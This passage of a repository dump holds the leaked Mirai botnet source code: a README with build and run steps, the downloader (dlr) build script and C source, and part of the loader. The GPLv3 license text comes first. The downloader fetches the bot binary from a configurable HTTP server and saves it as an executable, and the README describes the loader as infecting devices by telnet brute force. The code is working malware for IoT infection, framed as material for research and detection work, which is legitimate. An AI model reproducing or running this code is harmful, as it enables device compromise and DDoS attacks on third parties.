meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {one line to give the program's name and a brief idea of what it does.}\n    Copyright (C) {year}  {name of author}\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    {project}  Copyright (C) {year}  {fullname}\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "# Mirai Source Code\n---\n\n## 🔧 Requirements\n\nBefore building and running this code, ensure you have the following installed on a **Linux host**:\n\n- `gcc` - GNU Compiler Collection\n- `golang` - Go programming language\n- `electric-fence` - Memory debugging library\n- `mysql-server` - MySQL database server\n- `mysql-client` - MySQL database client\n- `build-essential` - Essential build tools\n- `crossbuild-essential-armel` - Cross-compilation tools for ARM\n\n**Additional Resources:**\n- For detailed setup instructions and background information, refer to the original leak post in `ForumPost.txt` or view the formatted version at [ForumPost.md](ForumPost.md).\n\n\n⚠️ **CRITICAL DISCLAIMER**  \nThis repository contains the leaked source code of the **Mirai botnet**, originally created to infect IoT devices and launch large-scale DDoS attacks. This code is provided **strictly for cybersecurity research, reverse engineering, malware analysis, and detection development purposes only**.\n\n**⚠️ WARNING: Do not use this code to attack or scan any real devices or networks. Unauthorized use is illegal and violates GitHub policy.**\n\n**🛡️ SECURITY NOTICE:** The [zip file](https://www.virustotal.com/en/file/f10667215040e87dae62dd48a5405b3b1b0fe7dbbfbf790d5300f3cd54893333/analysis/1477822491/) for this repo is being identified by some AV programs as malware. Please take caution.\n\n---\n\n## 📋 Table of Contents\n\n- [About Mirai](#-about-mirai)\n- [Repository Structure](#-repository-structure)\n- [Requirements](#-requirements)\n- [How to Use (Lab Research Only)](#️-how-to-use-for-lab-research-only)\n- [Learning Use Cases](#-learning-use-cases)\n- [Do NOT Use For](#-do-not-use-for)\n- [References](#-references)\n- [Credits](#-credits)\n- [Acknowledgments](#-acknowledgments)\n\n---\n\n## 📌 About Mirai\n\nMirai is a malware botnet that infects Internet of Things (IoT) devices using default or weak login credentials. Once infected, these devices are controlled by a command-and-control (CnC) server and can be used to launch DDoS attacks.\n\nThis repo is a fork of the original leaked source code and includes components such as:\n- The bot (runs on IoT devices)\n- The CnC server\n- The loader (infects devices)\n- Scanning and deployment scripts\n\n---\n\n## 📁 Repository Structure\n\n| Folder/File       | Description                                           |\n|-------------------|-------------------------------------------------------|\n| `mirai/`          | Core malware source code (bot + CnC server)          |\n| `loader/`         | Infects vulnerable devices using telnet brute-force  |\n| `dlr/`            | Possibly supports payload delivery (optional)        |\n| `scripts/`        | Scripts for building and managing the malware        |\n| `ForumPost.txt`   | Original forum post by author explaining Mirai       |\n| `LICENSE.md`      | License as included in original leak (not official)  |\n| `README.md`       | You’re reading it                                     |\n\n---\n\n## ⚙️ How to Use (FOR LAB RESEARCH ONLY)\n\n> You must use **isolated VMs** or an offline network. Never run this on a real device or public network.\n\n### 🔧 1. Prerequisites\n\nInstall on a **Linux host**:\n\n```bash\nsudo apt update\nsudo apt install gcc make build-essential git crossbuild-essential-armel -y\n```\n\n## 🔨 2. Clone the Repository\n\n```bash\ngit clone https://github.com/jgamblin/Mirai-Source-Code.git\ncd Mirai-Source-Code\n```\n\n## 🔨 3. Build the Bot and CnC\n\n```bash\n./build.sh\n```\n\nThis will:\n\n*  Cross-compile the bot for different IoT architectures (MIPS, ARM, etc.)\n\n*  Compile the CnC server for your local machine\n\nYou can customize the build script and source code paths if needed.\n\n## 🧪 4. Setup a Test Lab (Recommended)\n\nCreate a virtual lab with:\n\n*  1 Ubuntu VM for CnC and loader\n\n*  1 or more OpenWRT/Linux VMs simulating IoT devices\n\nUse Host-Only or Internal Networking mode to keep the lab isolated.\n\n## 🕹 5. Running Components\n\n*  Start the CnC server (mirai/cnc/cnc)\n\n*  Run the loader to infect virtual IoT VMs\n\n*  Observe communication logs, infection, and payload delivery\n\n## ✅ Learning Use Cases\n\nYou can use this source code to:\n\n*  Understand how botnets spread through weak credentials\n\n*  Reverse engineer malware behavior\n\n*  Write intrusion detection rules (YARA, Snort, Suricata)\n\n*  Develop antivirus and botnet defenses\n\n*  Study CnC-to-bot protocol and build simulators\n\n## ❌ Do NOT Use For\n\n*  Scanning or infecting real IoT devices\n\n*  DDoS attacks\n\n*  Deploying the bot to the public internet\n\nAny such use is illegal and against GitHub policy. \n\n## 📚 References\n\n* [Original Leak on Hackforums (2016)](https://hackforums.net/showthread.php?tid=5420472)\n* [DDoS Analysis of Mirai by MalwareMustDie](https://blog.malwaremustdie.org/2016/10/mmd-0056-2016-new-mirai-elf-botnet.html)\n* [US-CERT Alert TA16-288A](https://www.cisa.gov/news-events/alerts/2016/10/14/alert-ta16-288a)\n\n## 👨‍💻 Credits\n\n**Original Author:** [Anna-senpai](https://hackforums.net/showthread.php?tid=5420472) - Original Mirai botnet source code leak (2016)  \n*Note: The original forum appears to be inactive as of now.*\n\n## 🙏 Acknowledgments\n\nSpecial thanks to [Pushpenderrathore](https://github.com/Pushpenderrathore) for the improved README structure and comprehensive documentation that makes this educational resource more accessible for cybersecurity research.\n\n"
  },
  {
    "path": "dlr/build.sh",
    "content": "armv4l-gcc -Os -D BOT_ARCH=\\\"arm\\\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm\narmv6l-gcc -Os -D BOT_ARCH=\\\"arm7\\\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm7\ni686-gcc -Os -D BOT_ARCH=\\\"x86\\\" -D X32 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.x86\nm68k-gcc -Os -D BOT_ARCH=\\\"m68k\\\" -D M68K -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.m68k\nmips-gcc -Os -D BOT_ARCH=\\\"mips\\\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mips\n#mips64-gcc -Os -D BOT_ARCH=\\\"mps64\\\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mps64\nmipsel-gcc -Os -D BOT_ARCH=\\\"mpsl\\\" -D MIPSEL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mpsl\npowerpc-gcc -Os -D BOT_ARCH=\\\"ppc\\\" -D PPC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.ppc\nsh4-gcc -Os -D BOT_ARCH=\\\"sh4\\\" -D SH4 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh4\n#sh2elf-gcc -Os -D BOT_ARCH=\\\"sh2el\\\" -D SH2EL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2el\n#sh2eb-gcc -Os -D BOT_ARCH=\\\"sh2eb\\\" -D SH2EB -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2eb\nsparc-gcc -Os -D BOT_ARCH=\\\"spc\\\" -D SPARC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.spc\n\narmv4l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm\narmv6l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm7\ni686-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.x86\nm68k-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.m68k\nmips-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mips\nmipsel-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mpsl\npowerpc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.ppc\nsh4-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.sh4\nsparc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.spc"
  },
  {
    "path": "dlr/main.c",
    "content": "#include <sys/types.h>\n//#include <bits/syscalls.h>\n#include <sys/syscall.h>\n#include <fcntl.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n\n#define HTTP_SERVER utils_inet_addr(127,0,0,1) // CHANGE TO YOUR HTTP SERVER IP\n\n#define EXEC_MSG            \"MIRAI\\n\"\n#define EXEC_MSG_LEN        6\n\n#define DOWNLOAD_MSG        \"FIN\\n\"\n#define DOWNLOAD_MSG_LEN    4\n\n#define STDIN   0\n#define STDOUT  1\n#define STDERR  2\n\n#if BYTE_ORDER == BIG_ENDIAN\n#define HTONS(n) (n)\n#define HTONL(n) (n)\n#elif BYTE_ORDER == LITTLE_ENDIAN\n#define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8))\n#define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \\\n                  ((((unsigned long)(n) & 0xff00)) << 8) | \\\n                  ((((unsigned long)(n) & 0xff0000)) >> 8) | \\\n                  ((((unsigned long)(n) & 0xff000000)) >> 24))\n#else\n#error \"Fix byteorder\"\n#endif\n\n#ifdef __ARM_EABI__\n#define SCN(n) ((n) & 0xfffff)\n#else\n#define SCN(n) (n)\n#endif\n\ninline void run(void);\nint sstrlen(char *);\nunsigned int utils_inet_addr(unsigned char, unsigned char, unsigned char, unsigned char);\n\n/* stdlib calls */\nint xsocket(int, int, int);\nint xwrite(int, void *, int);\nint xread(int, void *, int);\nint xconnect(int, struct sockaddr_in *, int);\nint xopen(char *, int, int);\nint xclose(int);\nvoid x__exit(int);\n\n#define socket xsocket\n#define write xwrite\n#define read xread\n#define connect xconnect\n#define open xopen\n#define close xclose\n#define __exit x__exit\n\n#ifdef DEBUG\n/*\nvoid xprintf(char *str)\n{\n    write(1, str, sstrlen(str));\n}\n#define printf xprintf\n*/\n#endif\n\nvoid __start(void)\n{ \n#if defined(MIPS) || defined(MIPSEL)\n    __asm(\n        \".set noreorder\\n\"\n        \"move $0, $31\\n\"\n        \"bal 10f\\n\"\n        \"nop\\n\"\n        \"10:\\n.cpload $31\\n\"\n        \"move $31, $0\\n\"\n        \".set reorder\\n\"\n    );\n#endif\n    run();\n}\n\ninline void run(void)\n{\n    char recvbuf[128];\n    struct sockaddr_in addr;\n    int sfd, ffd, ret;\n    unsigned int header_parser = 0;\n    int arch_strlen = sstrlen(BOT_ARCH);\n\n    write(STDOUT, EXEC_MSG, EXEC_MSG_LEN);\n\n    addr.sin_family = AF_INET;\n    addr.sin_port = HTONS(80);\n    addr.sin_addr.s_addr = HTTP_SERVER;\n\n    ffd = open(\"dvrHelper\", O_WRONLY | O_CREAT | O_TRUNC, 0777);\n\n    sfd = socket(AF_INET, SOCK_STREAM, 0);\n\n#ifdef DEBUG\n    if (ffd == -1)\n        printf(\"Failed to open file!\\n\");\n    if (sfd == -1)\n        printf(\"Failed to call socket()\\n\");\n#endif\n\n    if (sfd == -1 || ffd == -1)\n        __exit(1);\n\n#ifdef DEBUG\n    printf(\"Connecting to host...\\n\");\n#endif\n\n    if ((ret = connect(sfd, &addr, sizeof (struct sockaddr_in))) < 0)\n    {\n#ifdef DEBUG\n        printf(\"Failed to connect to host.\\n\");\n#endif\n        write(STDOUT, \"NIF\\n\", 4);\n        __exit(-ret);\n    }\n\n#ifdef DEBUG\n    printf(\"Connected to host\\n\");\n#endif\n\n    if (write(sfd, \"GET /bins/mirai.\" BOT_ARCH \" HTTP/1.0\\r\\n\\r\\n\", 16 + arch_strlen + 13) != (16 + arch_strlen + 13))\n    {\n#ifdef DEBUG\n        printf(\"Failed to send get request.\\n\");\n#endif\n\n        __exit(3);\n    }\n\n#ifdef DEBUG\n    printf(\"Started header parse...\\n\");\n#endif\n\n    while (header_parser != 0x0d0a0d0a)\n    {\n        char ch;\n        int ret = read(sfd, &ch, 1);\n\n        if (ret != 1)\n            __exit(4);\n        header_parser = (header_parser << 8) | ch;\n    }\n\n#ifdef DEBUG\n    printf(\"Finished receiving HTTP header\\n\");\n#endif\n\n    while (1)\n    {\n        int ret = read(sfd, recvbuf, sizeof (recvbuf));\n\n        if (ret <= 0)\n            break;\n        write(ffd, recvbuf, ret);\n    }\n\n    close(sfd);\n    close(ffd);\n    write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN);\n    __exit(5);\n}\n\nint sstrlen(char *str)\n{\n    int c = 0;\n\n    while (*str++ != 0)\n        c++;\n    return c;\n}\n\nunsigned int utils_inet_addr(unsigned char one, unsigned char two, unsigned char three, unsigned char four)\n{\n    unsigned long ip = 0;\n\n    ip |= (one << 24);\n    ip |= (two << 16);\n    ip |= (three << 8);\n    ip |= (four << 0);\n    return HTONL(ip);\n}\n\nint xsocket(int domain, int type, int protocol)\n{\n#if defined(__NR_socketcall)\n#ifdef DEBUG\n    printf(\"socket using socketcall\\n\");\n#endif\n    struct {\n        int domain, type, protocol;\n    } socketcall;\n    socketcall.domain = domain;\n    socketcall.type = type;\n    socketcall.protocol = protocol;\n\n    // 1 == SYS_SOCKET\n    int ret = syscall(SCN(SYS_socketcall), 1, &socketcall);\n\n#ifdef DEBUG\n    printf(\"socket got ret: %d\\n\", ret);\n#endif\n     return ret;\n#else\n#ifdef DEBUG\n    printf(\"socket using socket\\n\");\n#endif\n    return syscall(SCN(SYS_socket), domain, type, protocol);\n#endif\n}\n\nint xread(int fd, void *buf, int len)\n{\n    return syscall(SCN(SYS_read), fd, buf, len);\n}\n\nint xwrite(int fd, void *buf, int len)\n{\n    return syscall(SCN(SYS_write), fd, buf, len);\n}\n\nint xconnect(int fd, struct sockaddr_in *addr, int len)\n{\n#if defined(__NR_socketcall)\n#ifdef DEBUG\n    printf(\"connect using socketcall\\n\");\n#endif\n    struct {\n        int fd;\n        struct sockaddr_in *addr;\n        int len;\n    } socketcall;\n    socketcall.fd = fd;\n    socketcall.addr = addr;\n    socketcall.len = len;\n    // 3 == SYS_CONNECT\n    int ret = syscall(SCN(SYS_socketcall), 3, &socketcall);\n\n#ifdef DEBUG\n    printf(\"connect got ret: %d\\n\", ret);\n#endif\n\n    return ret;\n#else\n#ifdef DEBUG\n    printf(\"connect using connect\\n\");\n#endif\n    return syscall(SCN(SYS_connect), fd, addr, len);\n#endif\n}\n\nint xopen(char *path, int flags, int other)\n{\n    return syscall(SCN(SYS_open), path, flags, other);\n}\n\nint xclose(int fd)\n{\n    return syscall(SCN(SYS_close), fd);\n}\n\nvoid x__exit(int code)\n{\n    syscall(SCN(SYS_exit), code);\n}\n"
  },
  {
    "path": "loader/build.debug.sh",
    "content": "#!/bin/bash\ngcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o loader.dbg\n"
  },
  {
    "path": "loader/build.sh",
    "content": "#!/bin/bash\ngcc -static -O3 -lpthread -pthread src/*.c -o loader\n"
  },
  {
    "path": "loader/src/binary.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <glob.h>\n#include \"headers/includes.h\"\n#include \"headers/binary.h\"\n\nstatic int bin_list_len = 0;\nstatic struct binary **bin_list = NULL;\n\nBOOL binary_init(void)\n{\n    glob_t pglob;\n    int i;\n\n    if (glob(\"bins/dlr.*\", GLOB_ERR, NULL, &pglob) != 0)\n    {\n        printf(\"Failed to load from bins folder!\\n\");\n        return;\n    }\n\n    for (i = 0; i < pglob.gl_pathc; i++)\n    {\n        char file_name[256];\n        struct binary *bin;\n\n        bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *));\n        bin_list[bin_list_len] = calloc(1, sizeof (struct binary));\n        bin = bin_list[bin_list_len++];\n\n#ifdef DEBUG\n        printf(\"(%d/%d) %s is loading...\\n\", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]);\n#endif\n        strcpy(file_name, pglob.gl_pathv[i]);\n        strtok(file_name, \".\");\n        strcpy(bin->arch, strtok(NULL, \".\"));\n        load(bin, pglob.gl_pathv[i]);\n    }\n\n    globfree(&pglob);\n    return TRUE;\n}\n\nstruct binary *binary_get_by_arch(char *arch)\n{\n    int i;\n\n    for (i = 0; i < bin_list_len; i++)\n    {\n        if (strcmp(arch, bin_list[i]->arch) == 0)\n            return bin_list[i];\n    }\n\n    return NULL;\n}\n\nstatic BOOL load(struct binary *bin, char *fname)\n{\n    FILE *file;\n    char rdbuf[BINARY_BYTES_PER_ECHOLINE];\n    int n;\n\n    if ((file = fopen(fname, \"r\")) == NULL)\n    {\n        printf(\"Failed to open %s for parsing\\n\", fname);\n        return FALSE;\n    }\n\n    while ((n = fread(rdbuf, sizeof (char), BINARY_BYTES_PER_ECHOLINE, file)) != 0)\n    {\n        char *ptr;\n        int i;\n\n        bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof (char *));\n        bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof (char), (4 * n) + 8);\n        ptr = bin->hex_payloads[bin->hex_payloads_len++];\n\n        for (i = 0; i < n; i++)\n            ptr += sprintf(ptr, \"\\\\x%02x\", 